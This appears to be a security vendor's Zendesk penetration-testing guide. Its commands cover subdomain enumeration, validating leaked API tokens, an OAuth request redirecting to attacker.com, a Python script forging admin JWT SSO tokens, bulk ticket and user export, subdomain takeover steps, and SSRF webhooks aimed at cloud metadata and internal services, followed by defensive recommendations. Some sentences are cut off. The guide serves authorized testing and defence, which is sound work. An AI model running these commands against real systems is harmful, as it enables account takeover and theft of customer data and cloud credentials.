Every Zendesk customer receives a primary subdomain at {company}.zendesk.com. Before touching any authenticated endpoint, enumerate the attack surface: primary subdomain, Help Center subdomains, and any custom domains pointing at Zendesk infrastructure.
Start with passive OSINT — certificate transparency logs, Shodan, and Google dorking frequently surface undisclosed Zendesk instances before active scanning begins.
# Certificate transparency search for Zendesk subdomains
curl -s "https://crt.sh/?q=%25.zendesk.com&output=json" | \
jq -r '.[].name_value' | sort -u | grep target
# Google dork for Zendesk sign-in pages
# site:zendesk.com "targetcompany" OR inurl:targetcompany.zendesk.com
# Enumerate via subfinder (passive)
subfinder -d zendesk.com -silent | grep "targetcompany"
# Active DNS brute-force against known Zendesk subdomains
ffuf -w /usr/share/wordlists/subdomains-top1million-5000.txt \
-u "https://FUZZ.zendesk.com" \
-mc 200,301,302,401,403 \
-o zendesk-subdomains.json
Organizations frequently configure a custom subdomain — help.company.com or support.company.com — pointing to their Zendesk Help Center via CNAME. These are often forgotten after migrations and become takeover candidates (see Section 4).
# Resolve CNAME chain for suspected Help Center domain
dig help.targetcompany.com CNAME +short
# Expected output: targetcompany.zendesk.com.
# Check if custom domain is still registered in Zendesk
curl -sI "https://help.targetcompany.com" | grep -i "x-zendesk"
Zendesk responses leak version and instance metadata through HTTP headers. These reveal the Zendesk plan tier, instance region, and API version accepted.
# Fingerprint via response headers
curl -sI "https://targetcompany.zendesk.com" | grep -iE \
"x-zendesk|x-powered-by|x-request-id|server|x-frame-options"
# Sample headers revealing Zendesk metadata:
# X-Zendesk-Origin-Server: zd-prod-app1234.use1.zdsys.com
# X-Runtime: 0.142
# X-Zendesk-Request-Id: abc123def456
# Zendesk-Rate-Limit: 700
# Probe API version acceptance
curl -sI "https://targetcompany.zendesk.com/api/v2/tickets.json" \
-H "Accept: application/json" | head -20
/api/v2/ endpoints will return HTTP 401 on properly configured instances. A 200 response without authentication is an immediate critical finding.
Zendesk API tokens follow a predictable format and are frequently committed to source control or left in CI/CD pipeline environment variables. The standard token format is a 40-character alphanumeric string used in HTTP Basic Auth with the pattern user@company.com/token:{token}.
# Search GitHub for exposed Zendesk tokens
# (use GitHub Advanced Search or tools like trufflehog)
trufflehog git https://github.com/targetcompany/repo \
--only-verified
# Common patterns to search for in code/configs:
# ZENDESK_TOKEN=
# zendesk_api_token:
# Authorization: Basic (base64 of email/token:TOKEN)
# Validate a found token
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/me.json" \
-u "agent@targetcompany.com/token:FOUND_TOKEN_HERE" \
-H "Content-Type: application/json"
# Alternative Bearer token format (OAuth access tokens)
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/me.json" \
-H "Authorization: Bearer FOUND_OAUTH_TOKEN_HERE" \
-H "Content-Type: application/json"
Zendesk OAuth2 applications configured in the Zendesk admin panel have a client_id and client_secret. If the client secret is exposed, an attacker can request access tokens on behalf of any user who has previously authorized the app.
# Probe the OAuth token endpoint with exposed client credentials
curl -X POST "https://targetcompany.zendesk.com/oauth/tokens" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=authorization_code" \
-d "code=AUTHORIZATION_CODE" \
-d "client_id=EXPOSED_CLIENT_ID" \
-d "client_secret=EXPOSED_CLIENT_SECRET" \
-d "redirect_uri=https://attacker.com/callback" \
-d "scope=read write"
Organizations using JWT-based SSO for Zendesk sign sign-on tokens with a shared secret. If the same signing secret is used across multiple Zendesk instances (e.g., a main instance and a sandbox), or if the JWT secret leaks from SSO configuration, an attacker can forge authentication tokens.
# Zendesk JWT SSO token structure (HS256)
# Payload: { "iat": TIMESTAMP, "jti": UUID, "email": "agent@company.com",
# "name": "Agent Name", "external_id": "12345" }
# Forge a JWT with a known/guessed secret
python3 -c "
import jwt, time, uuid
payload = {
'iat': int(time.time()),
'jti': str(uuid.uuid4()),
'email': 'admin@targetcompany.com',
'name': 'Admin',
'external_id': '1'
}
token = jwt.encode(payload, 'LEAKED_SECRET', algorithm='HS256')
print(token)
"
# The forged token is submitted to:
# https://targetcompany.zendesk.com/access/jwt?jwt=FORGED_TOKEN
With a valid API token — even a low-privilege agent token — the Zendesk REST API exposes broad read access across the entire support dataset. Test the scope of each discovered token systematically.
# Enumerate all tickets (paginated, up to 100 per page)
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets.json?per_page=100" \
-u "agent@targetcompany.com/token:TOKEN" \
-H "Accept: application/json"
# Fetch a specific ticket with full comment history
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets/12345.json" \
-u "agent@targetcompany.com/token:TOKEN" \
-H "Accept: application/json"
# Fetch all comments on a ticket (includes internal notes)
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets/12345/comments.json" \
-u "agent@targetcompany.com/token:TOKEN" \
-H "Accept: application/json"
# Search tickets for sensitive keywords
curl -X GET "https://targetcompany.zendesk.com/api/v2/search.json?query=password+type:ticket" \
-u "agent@targetcompany.com/token:TOKEN" \
-H "Accept: application/json"
# Retrieve all tickets updated in the last 30 days (incremental export)
curl -X GET "https://targetcompany.zendesk.com/api/v2/incremental/tickets.json?start_time=UNIX_TIMESTAMP" \
-u "agent@targetcompany.com/token:TOKEN"
# List all users in the instance
curl -X GET "https://targetcompany.zendesk.com/api/v2/users.json?per_page=100" \
-u "agent@targetcompany.com/token:TOKEN" \
-H "Accept: application/json"
# Get a specific user by ID
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/67890.json" \
-u "agent@targetcompany.com/token:TOKEN"
# Search users by email domain (internal directory exposure)
curl -X GET "https://targetcompany.zendesk.com/api/v2/users/search.json?query=role:agent" \
-u "agent@targetcompany.com/token:TOKEN"
# Enumerate all organizations
curl -X GET "https://targetcompany.zendesk.com/api/v2/organizations.json" \
-u "agent@targetcompany.com/token:TOKEN"
# Download attachments — test for missing auth on attachment URLs
# Zendesk attachment URLs follow the pattern:
# https://targetcompany.zendesk.com/attachments/token/{TOKEN}/original/{filename}
# or via CDN: https://targetcompany-attachments.s3.amazonaws.com/...
# Retrieve attachment metadata from a ticket comment
curl -X GET "https://targetcompany.zendesk.com/api/v2/tickets/12345/comments.json" \
-u "agent@targetcompany.com/token:TOKEN" | \
jq '.comments[].attachments[] | {filename, content_url}'
# Attempt to fetch attachment URL without authentication (misconfiguration test)
curl -L "https://targetcompany.zendesk.com/attachments/token/ATTACHMENT_TOKEN/original/file.pdf"
Ironimo's automated scanner detects exposed Zendesk API tokens, misconfigured OAuth apps, and unauthenticated API endpoints — integrated into your pentest workflow.
Start free scanWhen an organization migrates away from Zendesk or renames their Help Center, DNS CNAME records pointing to {company}.zendesk.com frequently remain live. If the Zendesk instance has been deleted or the custom domain mapping removed, the subdomain becomes claimable — a classic dangling CNAME scenario.
# Step 1: Identify dangling CNAME records
dig help.targetcompany.com CNAME +short
# Returns: targetcompany.zendesk.com. (still resolves)
# Step 2: Check if the Zendesk instance still accepts the custom domain
curl -sI "https://help.targetcompany.com" -H "Host: help.targetcompany.com"
# Look for: HTTP 404 with "Zendesk" in response body, OR
# "This account does not exist" message
# Step 3: Confirm takeover eligibility
curl -s "https://help.targetcompany.com" | grep -i "zendesk\|doesn.*exist\|no longer"
# Step 4: Register a new free Zendesk trial
# Step 5: In the new account, add the custom domain "help.targetcompany.com"
# Step 6: Verify — all traffic to help.targetcompany.com now routes to attacker's Zendesk
# Test for phishing potential — attacker can serve:
# - A fake login page collecting credentials
# - Malicious password reset flows
# - Social engineering content with the victim's brand
domain=.company.com), and send phishing emails appearing to originate from a legitimate subdomain.
The Zendesk Web Widget is a JavaScript snippet embedded in customer-facing websites. If an attacker gains write access to the Zendesk admin panel (via compromised admin credentials), they can modify the widget configuration to inject malicious JavaScript that executes in the context of every page where the widget is loaded.
# The Zendesk Web Widget loads from:
# https://static.zdassets.com/ekr/snippet.js?key=WIDGET_KEY
# Administrators configure the widget via the Zendesk API:
curl -X PUT "https://targetcompany.zendesk.com/api/v2/account/settings.json" \
-u "admin@targetcompany.com/token:ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"settings": {
"active_features": {
"customer_satisfaction_surveys": true
}
}
}'
# Widget configuration can include custom CSS and JavaScript
# via the "Web Widget (Classic)" advanced customization:
# Admin > Channels > Classic Web Widget > Advanced Settings
# Test: does the widget key expose customer data without auth?
curl -s "https://ekr.zdassets.com/compose/component/help_widget?locale=en-us&key=WIDGET_KEY" | \
grep -i "user\|email\|token"
Widget keys embedded in public-facing JavaScript are not secrets — but they expose the Zendesk subdomain mapping, enable ticket submission on behalf of arbitrary users, and can be used to probe the Help Center search index for internal articles.
# Extract widget key from target website JavaScript
curl -s "https://www.targetcompany.com" | grep -oP 'key=[a-f0-9-]{36}'
# Use extracted key to probe the Help Center search (may expose internal articles)
curl -s "https://targetcompany.zendesk.com/api/v2/help_center/articles/search.json?query=internal+only" \
-H "Accept: application/json"
Zendesk's marketplace allows third-party apps to be installed into an instance with broad permissions — read/write access to tickets, users, and conversations. During a pentest, audit installed apps for overprivileged scopes and untrusted publishers.
# List installed apps via the API
curl -X GET "https://targetcompany.zendesk.com/api/v2/apps/installations.json" \
-u "admin@targetcompany.com/token:ADMIN_TOKEN" \
-H "Accept: application/json" | \
jq '.installations[] | {id, app_id, product, settings}'
# Check app permissions/scopes for each installation
curl -X GET "https://targetcompany.zendesk.com/api/v2/apps/INSTALLATION_ID.json" \
-u "admin@targetcompany.com/token:ADMIN_TOKEN" | \
jq '.requirements'
# Look for apps with:
# - "read:users" + "write:tickets" combined (pivot from ticket manipulation to data export)
# - Webhook callbacks to external URLs
# - Stored API keys in app settings (visible via installations API)
Zendesk Triggers and Automations can fire HTTP webhooks to external URLs when ticket conditions are met. If an attacker can create or modify triggers (via a compromised agent/admin account), they can configure webhooks pointing to internal network addresses — turning Zendesk's servers into an SSRF relay.
# Create a webhook (Zendesk Webhooks API, available to admins)
curl -X POST "https://targetcompany.zendesk.com/api/v2/webhooks" \
-u "admin@targetcompany.com/token:ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"webhook": {
"name": "SSRF Test Webhook",
"status": "active",
"endpoint": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http_method": "GET",
"request_format": "json",
"subscriptions": ["conditional_ticket_events"]
}
}'
# Alternative: target internal services
# endpoint: "http://10.0.0.1:8080/admin"
# endpoint: "http://localhost:2375/containers/json" (Docker daemon)
# endpoint: "http://kubernetes.default.svc/api/v1/secrets"
# Test the webhook manually after creation
curl -X POST "https://targetcompany.zendesk.com/api/v2/webhooks/WEBHOOK_ID/test" \
-u "admin@targetcompany.com/token:ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"request": {}}'
Zendesk runs on AWS infrastructure. The AWS IMDSv1 endpoint at 169.254.169.254 is the primary SSRF target. Successful exploitation could leak IAM credentials for the Zendesk application role — though Zendesk's infrastructure security controls typically block this, it remains a valid test case for demonstrating SSRF viability in your pentest report.
Support ticket contents are a goldmine for sensitive data. Customers routinely include credentials, private keys, session tokens, and PII in support requests. Test whether your organization's Zendesk instance exposes this data through the API and whether appropriate data retention policies are in place.
# Search for sensitive patterns across all tickets
# (requires agent token with ticket read access)
# Search for credentials in tickets
curl -X GET "https://targetcompany.zendesk.com/api/v2/search.json?query=password+type:ticket&sort_by=created_at&sort_order=desc" \
-u "agent@targetcompany.com/token:TOKEN"
# Search for API keys mentioned in tickets
curl -X GET "https://targetcompany.zendesk.com/api/v2/search.json?query=api+key+type:ticket" \
-u "agent@targetcompany.com/token:TOKEN"
# Retrieve the full incremental ticket export (all fields, all time)
# This endpoint exports ALL ticket data and is accessible to any agent
curl -X GET "https://targetcompany.zendesk.com/api/v2/incremental/tickets/cursor.json?start_time=0" \
-u "agent@targetcompany.com/token:TOKEN"
# Test attachment accessibility without authentication
# Zendesk CDN attachment URLs sometimes lack authentication requirements
curl -I "https://targetcompany.zendesk.com/attachments/token/PUBLIC_TOKEN/original/sensitive-doc.pdf"
# HTTP 200 without auth headers = unauthenticated attachment access finding
Zendesk's managed SaaS model means most CVEs are patched automatically. However, the following vulnerabilities are historically relevant and may surface in configurations or integrations:
aud) validation.nuclei with the zendesk-subdomain-takeover template actively identify these.# Run nuclei templates for Zendesk-specific checks
nuclei -u https://targetcompany.zendesk.com \
-tags zendesk \
-severity medium,high,critical \
-o zendesk-nuclei-results.txt
# Specific templates to run:
# - zendesk-subdomain-takeover
# - zendesk-api-token-exposure
# - zendesk-unauthenticated-api
| Vulnerability | Severity | Endpoint / Vector | Impact |
|---|---|---|---|
| JWT SSO Secret Exposure | Critical | Repository / CI env vars | Forge admin tokens; full account takeover |
| Admin API Token Exposure | Critical | Source control, .env files | Full instance read/write; ticket/user data exfil |
| OAuth Client Secret Exposure | High | Config files, mobile apps | Request access tokens for any authorized user |
| Subdomain Takeover (Help Center) | High | Dangling CNAME DNS records | Phishing, credential harvest, cookie theft |
| Trigger/Webhook SSRF | High | /api/v2/webhooks |
Internal network reachability, metadata service access |
| Ticket Data Enumeration | High | GET /api/v2/tickets |
PII exposure, credential leakage in ticket history |
| User/Org Enumeration | Medium | GET /api/v2/users |
Internal directory disclosure, targeted phishing |
| Widget Injection | Medium | Admin › Web Widget config | Stored XSS in customer-facing pages |
| Unauthenticated Attachment Access | Medium | CDN attachment URLs | Document exfiltration without valid session |
| Overprivileged Marketplace Apps | Medium | Zendesk App Marketplace | Third-party data exfil, lateral movement |
| Agent Token — Low Privilege Scope Creep | Low | GET /api/v2/search |
Broader read access than role warrants |
GET /api/v2/audit_logs.json) for unusual API activity — high-volume ticket reads, user enumeration patterns, or access from unexpected IP ranges.# Monitor Zendesk audit logs for anomalous API usage
curl -X GET "https://targetcompany.zendesk.com/api/v2/audit_logs.json?filter[source_type]=api" \
-u "admin@targetcompany.com/token:ADMIN_TOKEN" | \
jq '.audit_logs[] | select(.action == "read" and .source_type == "api") | {actor_id, created_at, ip_address}'
aud (audience) and iss (issuer) claims in JWT SSO tokens to prevent cross-instance token replay.*.zendesk.com before decommissioning Zendesk instances.nuclei or a continuous external attack surface management (EASM) solution to detect dangling subdomains proactively.169.254.x.x), or DNS names resolving to internal infrastructure.Zendesk's broad API surface, the ubiquity of API tokens in codebases, and the architectural pattern of Help Center custom subdomains make it a consistent finding in enterprise penetration tests. The attack patterns documented here — from API token harvesting and ticket PII enumeration to subdomain takeover and trigger-based SSRF — are well within scope for authorized security assessments of any organization that processes customer support data through Zendesk.
The recurring theme across all Zendesk security findings is credential governance: tokens that were issued for a specific integration and never rotated, secrets that drifted into source control, and OAuth apps granted broader scopes than their use case requires. A targeted secrets scanning pass over your repositories combined with a DNS audit for dangling Zendesk CNAMEs will eliminate the majority of critical and high findings before a formal pentest begins.
Ironimo continuously scans for API token exposure, OAuth misconfigurations, subdomain takeover candidates, and unauthenticated API endpoints across your entire web application attack surface — including Zendesk integrations.
Start free scan